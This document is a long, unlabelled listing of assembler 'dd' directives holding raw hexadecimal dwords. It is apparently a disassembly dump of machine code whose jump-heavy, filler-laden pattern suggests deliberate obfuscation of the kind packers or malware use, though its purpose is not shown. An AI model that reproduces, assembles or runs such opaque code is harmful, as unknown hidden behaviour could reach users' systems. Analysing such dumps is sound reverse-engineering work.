		dd 287h, 0FD08B00h, 0FB8BCAB7h,	8B19BB66h, 60DE8B66h, 44CA8166h
		dd 0FE94Fh, 78DB0000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h
		dd 606061AFh, 13E8h, 85249B00h,	0D1EC2261h, 0EB15F3BFh
		dd 0BA12D944h, 0B5AA0CE4h, 15E3815Bh, 614B966Bh, 2870Fh
		dd 61600000h, 0D3B70F61h, 0B5C3C081h, 0C78045DEh, 0BDBBBB81h
		dd 6E951ACh, 0A3000000h, 0BDA7D144h, 58F856D8h,	68C08160h
		dd 0BB55AFBCh, 0E4135AFh, 9E961h, 0BF900000h, 55B60BF8h
		dd 0F1FF5F9h, 8B66CAB7h, 9E9CEh, 0C0B70000h, 44B7788Dh
		dd 0E97FAB75h, 0Ah, 28A058FCh, 2E7163D3h, 9FBA024Fh, 0E9573CE7h
		dd 14h,	0F07656Eh, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h
		dd 60FFB70Fh, 0FE9h, 61B3D200h,	0A3752C80h, 15BF2388h
		dd 0D731629Fh, 9E9h, 0F1ED4C00h, 7C2BD2E2h, 0E8615077h
		dd 11h,	3B587D56h, 0EFFC4265h, 2D5A2E42h, 8C739695h, 6659FC55h
		dd 9E9CA8Bh, 74000000h,	0B460853Dh, 0EDF65A21h,	7E8h, 8B419800h
		dd 4CA2581Eh, 665FD88Bh, 92BEF08Bh, 0F71009Dh, 987h, 3860F00h
		dd 0F000000h, 8B66FFBFh, 58B0FD8h, 0B9000000h, 2D39F291h
		dd 0DA6520B8h, 0B67BA5Dh, 890F1E45h, 4,	59FBB756h, 0AE8h
		dd 96EFB00h, 4FC1B5BBh,	0E8F299FFh, 12h, 33235CDCh, 0C67886F2h
		dd 0BE066E6Eh, 90D3676Fh, 0C38A5824h, 0C78B5A5Fh, 7E8h
		dd 0C8B28D00h, 0D1B24CF3h, 0F59F6B5h, 182h, 1DB4F800h
		dd 800Fh, 0F600000h, 0E781FEBFh, 7FBB0124h, 0E9D78B61h
		dd 0Ah,	6D439BCBh, 0EE143D7Dh, 69B645C2h, 0E9C88B66h, 0Eh
		dd 95725916h, 43B6D1C5h, 2458401Eh, 0F8BE1D60h,	810CB7E3h
		dd 0A99730D9h, 0EE869h,	56080000h, 4535D941h, 0E796E1CFh
		dd 6B748A71h, 0FE9h, 267E4400h,	327264DAh, 0FA4F9659h
		dd 0AD871517h, 3402BA5Ah, 0BA666E3Ah, 0CE8BA507h, 0B52EBE66h
		dd 48BA66F8h, 13E962h, 0C8670000h, 8179B86Eh, 33B47A03h
		dd 60C3A14Dh, 0B52EB7C2h, 66A2B7C6h, 522177BAh,	0E858C2B3h
		dd 6, 259E70B9h, 8B66AAAEh, 12E858D9h, 4B000000h, 0C73A4DA2h
		dd 768E0D11h, 3A22AFEBh, 496C0CA6h, 7E852h, 10200000h
		dd 97462078h, 0D2B70F1Eh, 0A6BF5B5Bh, 0F2559CEh, 486h
		dd 0EFB86600h, 5840F96h, 66000000h, 6454D681h, 39C08166h
		dd 8166F5E2h, 0F077DE8h, 13E9F6BFh, 0EE000000h,	16AAEF74h
		dd 0DA7CE054h, 132B47F2h, 8E98F92Eh, 8B66CCDBh,	83BE66C7h
		dd 8C0FA2h, 66000000h, 0E8F8F98Bh, 12h,	0ED9637C1h, 623DAB63h
		dd 0E2DD4D17h, 6CF3E886h, 8166F766h, 5FECD1E2h,	6E8h, 37490B00h
		dd 0B8F2588Eh, 54BA9D22h, 0AE9535Bh, 0D000000h,	0FB29B31Ah
		dd 9D2C6832h, 47B858D2h, 0BA4D1586h, 1CE3035Fh,	0DE860h
		dd 0C8F50000h, 695EE56Ch, 5B2EC5D0h, 50C1647Fh,	66615A5Fh
		dd 66883EBAh, 0A5B5F18Bh, 66FBB70Fh, 6660D08Bh
		dd 0B65D2CB9h, 816661E3h, 57A6A6D6h, 0DE9h, 0F3601A00h
		dd 2D9CF564h, 6070FB77h, 6659CCE9h, 8E0FD78Bh, 0
		dd 0DBF66F5h, 5CC3BE57h, 0CB8B2404h, 93F18166h,	0F38B669Ah
		dd 0EE9h, 77A46C00h, 0B9460AE8h, 74D5C0AFh, 80FDC3ECh
		dd 12E888E5h, 80000000h, 276EB1C8h, 4A7E8003h, 969443B4h
		dd 16CDAFDCh, 0CA816655h, 815EC04Eh, 83AD5EF2h,	0CCCB8147h
		dd 0E928B6A4h, 14h, 92D86E1h, 47CAA5F8h, 0B36144B3h, 9FA3F2BEh
		dd 0A64BD1E0h, 0FD1B70Fh, 18Ch,	8E9F500h, 0A4000000h, 2ADD73Ch
		dd 664F810Dh, 0E860E5B9h, 13h, 8FAEF0A7h, 174D811Bh, 8BC6BF3Eh
		dd 444AAE85h, 0E9EA3A5Eh, 8, 0AF07C51Bh, 0B278920Eh, 0CE959h
		dd 6FA50000h, 8E32D924h, 0A217C12Dh, 0E9534AA1h, 5, 0C240E88Dh
		dd 0EA815E57h, 4B30F9B3h, 0F98006BBh, 6ED68165h, 0E969339Dh
		dd 10h,	0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 5860Fh
		dd 81660000h, 5703E3D0h, 6E9h, 49857C00h, 5F6471F9h, 9AC0F281h
		dd 81664D28h, 0F98A7CF7h, 820Fh, 0BF0F0000h, 11E9DEh, 0A0DE0000h
		dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 50344C1Dh, 0DE8h
		dd 81A15B00h, 7C0F19Bh,	204CE9E0h, 0CB815D8Ah, 2F802857h
		dd 0BF665E59h, 0C78A0169h, 0AE8h, 0EC9BD600h, 21B27C78h
		dd 66ED04E8h, 6917C981h, 11E8605Bh, 0B4000000h,	0F96191Dh
		dd 9E0A10E2h, 709DEADFh, 33ED6672h, 0E85A5957h,	11h, 0E3756C78h
		dd 4359F9A1h, 0A3210F2Bh, 0BFB93694h, 0F615F2Bh, 80h, 7BA2B800h
		dd 0FFC1463h, 11E9F0BFh, 0E6000000h, 13423245h,	78DEB417h
		dd 83F2DEEEh, 1CABB452h, 4840Fh, 0BE660000h, 0F8F51142h
		dd 88A0Fh, 830F0000h, 2, 0CE86160h, 4F000000h, 0F5000905h
		dd 3231D7E0h, 0F9CBF296h, 42BB665Bh, 800FA6h, 66000000h
		dd 1AB8E381h, 12E8h, 9387AB00h,	2259E618h, 0C772834h, 7B6012EFh
		dd 5877BF35h, 10E9h, 0A0A75E00h, 527ED8A1h, 24FC7161h
		dd 0BB40B714h, 0C28B6672h, 942248BBh, 0E8606018h, 11h
		dd 32FDEE29h, 6136AC2Ah, 0F4259CADh, 5F23684Fh,	8061590Bh
		dd 0B6613FE3h, 58B0F4Dh, 66000000h, 54B3E381h, 66ADF580h
		dd 0C1B0D68Bh, 22316BBBh, 4800F41h, 60000000h, 8061F8FCh
		dd 0EE986C7h, 87000000h, 6CD7F5A1h, 0DE6B3D6Ah,	910F765h
		dd 66FC60A5h, 612C69B9h, 0C0BF0F60h, 0F98B6660h, 61615B51h
		dd 66CBB70Fh, 0AD38E181h, 11E8FCh, 0E5CD0000h, 93221E95h
		dd 966BB505h, 0E580F0F9h, 0F8E6052Ah, 8B666059h, 0DE8160D9h
		dd 513CAEEDh, 860Fh, 61610000h,	84E3C681h, 0B70F4AE1h
		dd 71F080F3h, 0CF8166h,	0EE8D6h, 7E610000h, 0DC358639h
		dd 1330D574h, 4E4AD8DDh, 0DBB70F5Ah, 0DE8h, 1CEEC600h
		dd 92DA1C8Dh, 8435BEACh, 5AF5E98Ah, 66C6BF0Fh, 875ACF81h
		dd 0F6BB6660h, 0D7D58096h, 501DB361h, 0F08B6660h, 5E615953h
		dd 0E9E18A60h, 0Eh, 0C76CE2D3h,	3BDCE2A3h, 0EA2305E9h
		dd 60611CF9h, 0AE9h, 817C3D00h,	7D143A28h, 0F983A89Eh
		dd 0D68B6661h, 12E9h, 0C7902C00h, 424814C7h, 80E3DEC1h
		dd 0D633271Eh, 533CB259h, 0F3D28166h, 80F85EB0h, 8A0F7CD2h
		dd 6, 0A4F7E781h, 0BABF1C18h, 6608D052h, 892DE81h, 0FCAB70Fh
		dd 0EE9D6BFh, 8000000h,	0D2619536h, 0D1A3CC68h,	7D604404h
		dd 14E9F2h, 86AF0000h, 0DF5AF053h, 34538A76h, 6630C2DBh
		dd 0F96735B3h, 6E8A777h, 0C8000000h, 19973798h,	0DE881E8h
		dd 5E1ED356h, 36B96657h, 0B9665E2Dh, 0E980756Eh, 6BE180E5h
		dd 41D881FCh, 0F5EC3EDh, 580h, 0C7816600h, 8B6691DAh, 4810FD1h
		dd 66000000h, 503AEABAh, 9CAEDB81h, 8B5E3EC1h, 2F12BEF7h
		dd 0E9F93658h, 6, 75EE1116h, 8B66219Dh,	1BEC80D3h, 6E9h
		dd 0C9B33A00h, 8BD2E5F8h, 0BE8CFh, 12C00000h, 5F16F73Bh
		dd 0FCCF484h, 8B0F5FB8h, 1Ah, 13E951h, 0B2C0000h, 4558870Ah
		dd 0FDE56534h, 0CD196237h, 0ABAD3650h, 0BA665817h, 0A0B360DCh
		dd 42EFC981h, 0BE80A96h, 0E8000000h, 62301E73h,	1A79134Ch
		dd 5258A887h, 32578FBAh, 0F88B5F05h, 0CA80C58Ah, 6800FF5h
		dd 81000000h, 87193FE1h, 0DEBF0F7Bh, 0D8806060h, 8B0F14h
		dd 61000000h, 0E6BB6660h, 0CA816698h, 616177DEh, 6E8h
		dd 62790B00h, 0E87754BBh, 5, 2C8571C8h,	6E988h,	0B2660000h
		dd 78DF7C53h, 53FC5958h, 14E9h,	0A3BA700h, 99D4D57h, 2C9ED988h
		dd 88E2D7FBh, 0FA3E268h, 81665989h, 0FCA81D8h, 38Ch, 88D48000h
		dd 0FF78B66h, 683h, 91C98100h, 6072BFFAh, 1830Fh, 66F80000h
		dd 614845B8h, 31AB80B9h, 830F6030h, 6, 890Fh, 8B660000h
		dd 816661F7h, 0B9B4EDD9h, 45C33E5Fh, 43AADE81h,	0F567010h
		dd 605FFEBFh, 15880Fh, 10E90000h, 0FC000000h, 0C45CEFF6h
		dd 47FF1DAAh, 567EF4AEh, 615A762Fh, 10E9h, 0AFC47F00h
		dd 251E8E65h, 188B7B2Eh, 0D04886Eh, 0FD08BC3h, 0B82h, 58D0F00h
		dd 66000000h, 4BBAD081h, 0AE8h,	8C1FB600h, 0C4838CA1h
		dd 0B51BA6E3h, 63BF5FD8h, 663F2893h, 7E8CA8Bh, 3000000h
		dd 0A0043D6Dh, 0CE8E824h, 2C000000h, 21CF85D2h,	1EF6ADE3h
		dd 0E91BF5DDh, 13h, 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh
		dd 5A21432Fh, 53BB665Fh, 9B4B983h, 0E38131EFh, 3B07FCB5h
		dd 0CE8h, 0FA415900h, 15B74F09h, 35FC7027h, 59A8B08Ah
		dd 7830Fh, 66510000h, 2BC3DE81h, 12E85Ah, 5FBF0000h, 90E8BD77h
		dd 0FF20C723h, 0D17FAE60h, 3076C568h, 3830Fh, 8B660000h
		dd 0F6058DEh, 0DE8D3B7h, 0E4000000h, 1E78EE2Ah,	0BBC734EFh
		dd 669E139Bh, 6158B4B7h, 60D98B66h, 3800Fh, 8B660000h
		dd 64F181DAh, 611B7C80h, 66FBB70Fh, 0BF60CE8Bh,	1E65984Eh
		dd 1DB8B866h, 6011B361h, 61F88B66h, 11E860h, 0BCA00000h
		dd 0E1EB6062h, 8D19F1Ah, 0F400027Eh, 60858FB8h,	0F615961h
		dd 148Ch, 9E800h, 5A210000h, 0CCC3EDF6h, 0BBACA12Ch, 1E88A6ECh
		dd 0E860F5Ah, 0E9000000h, 9, 0A8DEAEFh,	179A9049h, 0D88166B5h
		dd 0BE94176h, 0B0000000h, 0A4918A7Ch, 9F4206BAh, 23BFB489h
		dd 0F2F9409h, 82h, 667EB400h, 0FE8DA8Bh, 72000000h, 0B9329278h
		dd 0E2CE9973h, 0E6A1A659h, 8166E800h, 59130EE8h, 0D0EF8166h
		dd 22D981D2h, 663A93CCh, 0D193D781h, 7CC34BBFh,	3ECD8030h
		dd 792822BFh, 0CE815672h, 4B5D9944h, 8F0F5Bh, 66000000h
		dd 122BDA81h, 0F1816660h, 8152FB6Bh, 4FC9EEDEh,	0E8615848h
		dd 0Eh,	2895586h, 0D977CB51h, 0EC9182D3h, 3DBF5C2Eh, 5F6F5547h
		dd 0AE8h, 1E9CF000h, 3812D7EBh,	666846DBh, 0F5FC38Bh, 18Ah
		dd 8166F800h, 661FBDF6h, 65F1EB81h, 0BE8h, 7BE5B300h, 0E4DE88D8h
		dd 98FECE0h, 13E9h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh
		dd 596E0BB0h, 12E95Bh, 376D0000h, 5E826ED2h, 1E57128h
		dd 60AAC9A5h, 0F07685A3h, 820Fh, 8B600000h, 0F28166C3h
		dd 0E961ACD4h, 0Eh, 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 0F516ED5h
		dd 8B59C3B7h, 0C96BADEh, 0F60035Ch, 282h, 0E85B5100h, 0Ah
		dd 1A21F447h, 0C179785Fh, 0BF0FCBABh, 0E96159C9h
		dd 10h,	9059D4D3h, 37452D8Ah, 0ED67993Ah, 0AC10346Ah, 0ABF28166h
		dd 0EE9AAh, 0A9880000h,	427C28C3h, 0B7EF97EDh, 5B295335h
		dd 0DB80C88Bh, 9EC3B9E5h, 0DE9507Ch, 3D000000h,	831B8121h
		dd 387FFFC5h, 485D5A3Eh, 8166F88Bh, 66B8E2EAh, 924EE981h
		dd 13E951h, 0AC5E0000h,	1A50218Ah, 0D0D2F998h, 0F9B79314h
		dd 0D61715A7h, 66575AF5h, 0E85FC38Bh, 12h, 488ADDA5h, 0E4BCA268h
		dd 0B075231Eh, 98ABC025h, 0C980E4C0h, 0D4805E2Ah, 0E9F5F812h
		dd 0Ah,	0D8A3C5EFh, 73A36620h, 0BE668AEBh, 0BF0FFE2Dh
		dd 5D99BBC0h, 0CE90DA9h, 91000000h, 0A3C1C1EFh,	11C8274h
		dd 664230BEh, 34BBF38Bh, 0E94AABB0h, 0Bh, 0AC0BE11h, 706A81AEh
		dd 814C0979h, 6ECDA7D8h, 3870F5Ch, 66000000h, 0EE8CA8Bh
		dd 0C4000000h, 93AEEC11h, 959FFE71h, 61D2D080h,	11800FF1h
		dd 0E8000000h, 0Bh, 0D3E0D1E7h,	6561FE7Bh, 58931940h, 8166575Ah
		dd 5E1860C8h, 0CE8h, 10E50600h,	410055F7h, 9E97C623h, 0D98B66C2h
		dd 575E505Ah, 0FE8h, 10B22500h,	789A837Ah, 0F5DA116Ah
		dd 4AC40B2h, 0BE9h, 43F57500h, 60BB5E27h, 0A8BBE64Ah, 0CFBF5B5Eh
		dd 660328CFh, 9FC0D281h, 36D4BB66h, 88C0Fh, 810F0000h
		dd 2, 60BEFD8Ah, 665FB70Bh, 0F6D87BFh, 0BF0FD9B7h, 0F3B3FCC0h
		dd 0EAADB966h, 5850Fh, 81660000h, 609A92EAh, 85BA6660h
		dd 0C28A614Bh, 0B866F961h, 6651A21Bh, 5E7F35BBh, 0B53AEB9h
		dd 0D8BF0F76h, 9CB9D6B6h, 666A76ADh, 0F778EA81h, 0DB9FEB4h
		dd 0E934C206h, 6, 13CAE9Fh, 14E9A3DEh, 51000000h, 0FF0AF3DEh
		dd 17EFF72Ah, 0A48B17B0h, 6F419464h, 60CB95C0h,	0F4D3C381h
		dd 0AE95608h, 70000000h, 0D445B81Ah, 2B10C97Bh,	0F580613Ah
		dd 5E9600Ah, 27000000h,	336D9105h, 6161CB80h, 14E9h, 0DB3C0800h
		dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8E90Bh
		dd 0FF540000h, 0C715D734h, 81660AB2h, 0E97065DFh, 8, 35A7D9F3h
		dd 0E389D4C3h, 8E8h, 55A87000h,	0A2DE9EFBh, 6850FE2h, 0F000000h
		dd 84h,	7E95800h, 80000000h, 0F3F9B17h,	6653D5F5h, 0FF7F681h
		dd 840FF95Ah, 0
		dd 0FE9h, 0C578DB00h, 956B2246h, 9DFD344h, 0AF4DA9BAh
		dd 66F38B66h, 9E58C381h, 9E960h, 21090000h, 599CE115h
		dd 0F38A0C8h, 0F61C0BFh, 387h, 0C6B70F00h, 60F6B70Fh, 0FB8B66F8h
		dd 0DA816661h, 8F0F63E4h, 3, 80F88B66h,	0C68BF4D1h, 0CBA8B856h
		dd 0B75F66F2h, 66CF8B82h, 0CB8BC18Bh, 12E9EE8Ah, 0E6000000h
		dd 173DBE64h, 0E0B2D52Eh, 784338EAh, 2BF3B51Dh,	60E681DFh
		dd 0F103DE7h, 0DE8BF0BFh, 4820F52h, 66000000h, 58ED58B9h
		dd 0E8F7F180h, 13h, 0DF188258h,	85ED38A4h, 2371BE50h, 33B0E36h
		dd 0FBE7DF4h, 687h, 8A0F00h, 5F000000h,	0C8E98166h, 98C0FCAh
		dd 0F000000h, 381h, 0DBB70F00h,	9D65BA66h, 17840Fh, 0E9500000h
		dd 10h,	9AFB91h, 0FF921F1Ch, 1C3AE0E2h,	16477719h, 0F7B70F5Eh
		dd 0F9FE8B66h, 80C8BF0Fh, 0C08122CEh, 4E5DC085h, 0CEB198B7h
		dd 14880Fh, 0FE90000h, 0F4000000h, 9AF1756Ah, 0E3349BBEh
		dd 0A46B1316h, 8E9B2C4h, 6000000h, 0C40500F9h, 818F4E7Dh
		dd 952504EAh, 12E839h, 0EDB00000h, 0F96CDCCDh, 5DA817Eh
		dd 0B5240BD6h, 0F35A0C74h, 0FC5FC28Bh, 0CE8h, 0C85B2100h
		dd 7AA52882h, 746DD8C6h, 0D3B95864h, 0E901F74Eh, 8, 868EDDC1h
		dd 6E154C0Ch, 665353F5h, 5AB14EB9h, 0C981665Ah,	605259A6h
		dd 8F0Fh, 58610000h, 0B20FBE60h, 0B2610647h, 0C9B70F22h
		dd 0D38B6657h, 0C7B9665Bh, 0D88A6062h, 0FEBF0F56h, 6660615Bh
		dd 0FE3F4B9h, 0F561D7B7h, 0E960F560h, 10h, 50B7D1Bh, 0A3EE17FDh
		dd 0DBC2DCFBh, 7B71E680h, 61615856h, 0FE9h, 68796100h
		dd 8C50A3BDh, 38D76180h, 71A32C26h, 0FDAB70Fh, 589h, 0CB816600h
		dd 0F600AB2h, 89h, 6850F00h, 0F000000h,	80h, 0AE96100h
		dd 4D000000h, 0D72E153h, 0A5A902F1h, 46C081A1h,	0F45838Dh
		dd 883h, 0B70F6000h, 0F78B66C6h, 10E961h, 0C7540000h, 10CD591Bh
		dd 1BABB1AFh, 0E8C5923Dh, 73BBD648h, 0B35D42F3h, 13E893h
		dd 0A2770000h, 8EA13EC1h, 3604A62h, 0BBD3208Bh,	463BE387h
		dd 11E948h, 0D3C70000h,	0FB55A870h, 0E2A2DE9Eh,	0BD2F8365h
		dd 59D06E90h, 8A0FE2B0h, 0Ch, 6870Fh, 8C0F0000h, 0
		dd 24F6DF81h, 0E8F54615h, 9, 5C6842D9h,	1686C80Fh, 9E898h
		dd 2F170000h, 0DC3476E1h, 0F6972C5h, 5A5FC0B7h,	10E9h
		dd 0A0F23D00h, 0E211C202h, 1B9D17B2h, 8F45F5FFh, 10E9F548h
		dd 0A2000000h, 5408F7EDh, 0B9F04862h, 56E72521h, 0E9B68376h
		dd 0Dh,	168F73E7h, 668A3B27h, 2FF63C35h, 5880F16h, 66000000h
		dd 63E3F281h, 7E9h, 206B6F00h, 2ACA5673h, 11E8h, 6CB79000h
		dd 2E584A4Ah, 2DD35230h, 0AD730D34h, 66603306h,	0D493DE81h
		dd 0FD5B33BAh, 0E85F6119h, 11h,	4DF3D752h, 0AD5B24E1h
		dd 8D3EF53Eh, 85B01516h, 0D0816665h, 6059196Ch,	38A0Fh
		dd 0EA800000h, 61C78B24h, 69E0B866h, 86EF8166h,	2EBE666Bh
		dd 0BE921h, 2C9B0000h, 1A782AC6h, 0AD982E30h, 0DE8B668Dh
		dd 0BE9h, 0D9C42100h, 32CEE992h, 0FA121DDh, 66DE8B66h
		dd 66B411BEh, 1A9FE981h, 68E0F57h, 81000000h, 603ABED1h
		dd 8B665952h, 84FEBBD9h, 0C1BF1275h, 0B2483DD1h, 0F8F98BBFh
		dd 0E330B960h, 0C381400Bh, 49E7B831h, 0BE60B561h, 3343A172h
		dd 0E6811EB3h, 32C7344Dh, 0F68160F9h, 7F31187Ah, 61D3B70Fh
		dd 8E9h, 5CF89A00h, 28D1BF7Fh, 0FE9EAh,	5D6B0000h, 0F248A4AFh
		dd 0B50A61DDh, 303F767Ah, 14F7BEDDh, 0E380341Eh, 0D0B966A1h
		dd 12E87Dh, 40000h, 75268366h, 53321C65h, 6C210EFCh, 0AA25D20Ch
		dd 13E8h, 226ACB00h, 7E6B9DE7h,	0A7308903h, 34DFE812h
		dd 934C9F7h, 5BA2D280h,	0D0B70F5Ah, 2840Fh, 0E8B30000h
		dd 8E9h, 60984B00h, 8BBA0341h, 67BF66B9h, 0F606069h, 89h
		dd 0C6B70F00h, 0C88B6661h, 0CF8B6661h, 0AF74BE66h, 0CE82AB0h
		dd 77000000h, 73B01335h, 6B61CC66h, 5BF23982h, 0BF0FA5B7h
		dd 0E864BBC2h, 816610A2h, 0FDFB4DEh, 18Eh, 14E8F900h, 8000000h
		dd 98859DCh, 7FF140CDh,	0C50A113Ah, 84E8A1D0h, 0E9279B9Fh
		dd 14h,	38E895B7h, 7F2047F1h, 4D3DB53h,	0A873F2EEh, 83EA6D9Eh
		dd 9CBA6659h, 0C38B66C4h, 9924C781h, 870F6394h,	6, 8E0Fh
		dd 8B660000h, 78F0FD1h,	0F000000h, 18Ch, 85B7F900h, 0EE9h
		dd 5845E400h, 318E0E73h, 9C8FD90Bh, 80C5398Fh, 0F18B5BDFh
		dd 8AD38B66h, 65BE66FAh, 0D28166C0h, 8166DDDDh,	8BA06FF0h
		dd 1C880F7h, 0FE8h, 23534700h, 0F567F158h, 0EDC9EEBDh
		dd 88A98F8Ch, 10E9h, 35E02300h,	83FE8D16h, 7E37B9FEh, 0F6E2AD37h
		dd 0F9BB5B45h, 0BB194585h, 1A78B07Ch, 66D08B66h, 573E70BBh
		dd 2821BE66h, 66DE8B5Ah, 0C0BFD881h, 0FFA8B66h,	58Eh, 0EA816600h
		dd 8166CD20h, 0FAC6AE9h, 108Ch,	5E800h,	77C20000h, 0BBB74C46h
		dd 7F5E0A78h, 1CC1815Fh, 0F4BAA5Bh, 0FE9DBB7h, 6000000h
		dd 0F0B9F112h, 2EBBCCC0h, 0FB5C94B1h, 0FE937A7h, 0DE000000h
		dd 0B248E4C6h, 0C400B2B5h, 8521190Eh, 50B9521Ch, 8052511Fh
		dd 0B70FDFD3h, 0D38160F9h, 4DB6F2E5h, 4800F61h,	66000000h
		dd 0FC24ABBh, 480h, 61605100h, 38C0F58h, 66000000h, 0F480C68Bh
		dd 5820F20h, 0BF000000h, 7E7D282Eh, 0BFF78A60h,	695CA5FBh
		dd 0DABF0F61h, 5870Fh, 0AB80000h, 66225261h, 5EBFC28Bh
		dd 0E9297A42h, 7, 0E3328CFAh, 0F9B54274h, 76E08166h, 0C881667Fh
		dd 56B85A48h, 0F6B2597h, 1D81h,	11E800h, 69940000h, 3A747FEh
		dd 74702F00h, 0B4854999h, 0F873CF4h, 84h, 0B8665A00h, 66F92B50h
		dd 6E8EC381h, 0FC78B66h, 18Eh, 8B66F500h, 0D68166F2h, 8B664508h
		dd 0FFBF0FF7h, 0A346BE66h, 0E18166F5h, 8D0F7442h, 2, 0F5531CB2h
		dd 0F60605Fh, 8166F8BFh, 61119CEBh, 2820Fh, 0F38B0000h
		dd 81665761h, 5913EAEFh, 0AE9h,	0D47DBA00h, 1A0F5E53h
		dd 0E938EDBDh, 9, 8ED8D18Fh, 7625B61Bh,	0C8816650h, 6E9E572h
		dd 4C000000h, 0C2050EF8h, 19820F2Ah, 0E9000000h, 14h, 9221FC1Ch
		dd 540C0EC1h, 0D82C3556h, 94468F23h, 9C4F68CBh,	7231B866h
		dd 890FF38Bh, 2, 0F18BF78Bh, 0D1E38166h, 0E9536060h, 0Ch
		dd 0FF49E35Dh, 0C68768D3h, 17111103h, 0CE81615Eh, 73B31529h
		dd 10E9h, 0F311B500h, 0C38EF0C7h, 0FDC9DE27h, 0EA0CA433h
		dd 41D080ACh, 14E967B6h, 79000000h, 0A5C16BDEh,	585E3289h
		dd 0B16EF3E2h, 0A280B7D4h, 60F5B4E4h, 8736B866h, 0FE961h
		dd 0CE3A0000h, 0A71673Dh, 0A7765225h, 0BF873788h, 6E869h
		dd 11F0000h, 0C8B9595Fh, 11E9h,	85279000h, 0B42BAAC2h
		dd 4A0F0E02h, 0A3D43EBh, 56599799h, 8E9h, 1FA41400h, 0BAD566AAh
		dd 8B665B6Dh, 24BF66DEh, 3850F02h, 0F000000h, 8A0FC8B7h
		dd 6, 8B0Fh, 8B660000h,	16840FC7h, 0E9000000h, 11h, 0CCAFB5E1h
		dd 2B7B8EF8h, 45CA1387h, 472C0AAEh, 8B0F60B5h, 17h, 12E9h
		dd 0FE83FE00h, 377E37B9h, 45F6E2ADh, 0C502B502h, 0FA58A98h
		dd 0F61CFBFh, 8B66C1B7h, 0E38166C1h, 81666B95h,	0F855DC8h
		dd 90B8D1BFh, 0E81B0D87h, 11h, 38A0C859h, 226E32F9h, 339B9BC3h
		dd 3B9E4E8Ah, 0D2B05873h, 11E9h, 91E84400h, 7B8CF9FAh
		dd 5F668441h, 17213B54h, 0EC8A5F02h, 7571F681h,	870F3E94h
		dd 15h,	10E9h, 425FE400h, 741473BEh, 5389E48Dh,	5031A3Dh
		dd 0B785B4A5h, 0EF816665h, 0F557E5C7h, 73C28158h, 8A55DD89h
		dd 11E850DDh, 7B000000h, 4ACAF671h, 0BD49E1D8h,	0C2FFB29Ah
		dd 33EEA76Ch, 0B5595AF5h, 47BA66C3h, 7CC68135h,	0BB04168Bh
		dd 75C0F3F7h, 0BE8F8h, 3B710000h, 0C1284E6Ch, 20B84F44h
		dd 3B14B986h, 5159492Ah, 6E9h, 611B2F00h, 5EFA3ED8h, 12810F60h
		dd 0E9000000h, 0Dh, 14911ABBh, 8E48B0A2h, 0DF577C0Bh, 0D98B60ADh
		dd 61616160h, 0E02FB966h, 0E98CA81h, 0B70F31ABh, 0BE6656DEh
		dd 0BF5924AFh, 3389542Eh, 9C181F9h, 66091F79h, 15B9E681h
		dd 78A0Fh, 8B600000h, 0D0BF0FCBh, 12E9FC61h, 23000000h
		dd 58FEC032h, 0A4DF1882h, 5085ED38h, 362371BEh,	8CBA520Eh
		dd 5A63371Ch, 0BE9h, 29795000h,	37E7AC31h, 88E994ECh, 0FCB8AF5h
		dd 887h, 0EB816000h, 49D9E569h,	0E95B5661h, 7, 10921630h
		dd 66C2979Ah, 79E3D381h, 8BCBBF0Fh, 66C68BD1h, 8B66DF8Bh
		dd 870F60D6h, 2, 0BF0F5A56h, 816661F2h,	0E9E4C0D7h, 0Bh
		dd 2C17FB6Ch, 37D00BC2h, 8169FF5Fh, 641DD5E8h, 7E8574Ch
		dd 46000000h, 483FFE11h, 5FF53807h, 0C18B665Ah,	0C860Fh
		dd 7E90000h, 93000000h,	0F904B455h, 0AE99326h, 8B000000h
		dd 44AD1982h, 0D7C37E2Bh, 188A0F1Ah, 0E9000000h, 13h, 987818E5h
		dd 0D3E49FC7h, 57077DFFh, 5E20280h, 816F336Eh, 4D4C21C7h
		dd 3C99B836h, 8D0F5675h, 5, 3BF6A1BEh, 0AE8605Ch, 74000000h
		dd 0E735331Ch, 0CC942126h, 5A5A502Fh, 0DF816661h, 81660803h
		dd 664715EBh, 0C0FAC981h, 6810Fh, 0CA810000h, 438638B6h
		dd 800Fh, 81660000h, 0B6A164F0h, 0F9B70FEDh, 10E9h, 883E7600h
		dd 0E1B4A0F4h, 68015E0Dh, 0E47E1215h, 59DBF80h,	8B664721h
		dd 667EB7FBh, 8B998AB8h, 0BF0F57D1h, 0BF0F58D0h, 7F7EB9C7h
		dd 8B661958h
		dd 66D68BDEh, 66EB8BBFh, 0DBBAC28Bh, 0E83471DBh, 6, 0B93694A3h
		dd 14E92BBFh, 0DE000000h, 0E5033A81h, 61F1EA4Bh, 54B67856h
		dd 9C0A7E40h, 5A20B538h, 880FDF8Bh, 5, 0C3DA8166h, 14E97Bh
		dd 0FA090000h, 75BEEC01h, 0D93880EDh, 51B6BF6Eh, 26094397h
		dd 0BB66B3A3h, 0B5B2ECF6h, 0F9F1B70Fh, 67641BB9h, 880FFC54h
		dd 8, 28E0Fh, 61600000h, 38B0Fh, 0CB800000h, 4B05BAF0h
		dd 6FB50F8Fh, 18C0F60h,	0F5000000h, 13E9h, 1033600h, 40BF685Bh
		dd 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h, 0F0B70F61h, 9632BFF5h
		dd 42B9781Ah, 813021E5h, 935628D1h, 13E911h, 0B9A90000h
		dd 9F0775F8h, 0DA938924h, 2B9A2CCFh, 88B99944h,	0E22ABFE9h
		dd 14E93706h, 0BB000000h, 146D78B3h, 0C215D8DEh, 8731321Ah
		dd 21F2A4C9h, 0E9DD2CA8h, 13h, 2DDD8611h, 42A7600Eh, 6787AF36h
		dd 0DF1DCA3Bh, 0F07BB53h, 0C89h, 6860F00h, 81000000h, 57EB2BDFh
		dd 0F7816675h, 26B15465h, 880F15B3h, 4,	85AFBA66h, 0FD6B70Fh
		dd 0A8Eh, 860F6000h, 0
		dd 6661FFB6h, 118CF81h,	0B8665F52h, 0B70F9758h,	5890FC3h
		dd 66000000h, 18F1E981h, 8BDAB70Fh, 0CB8B66CEh,	868EB81h
		dd 850F7F35h, 3, 66C7B70Fh, 8B03B9BBh, 0C68166F9h, 8166778Ch
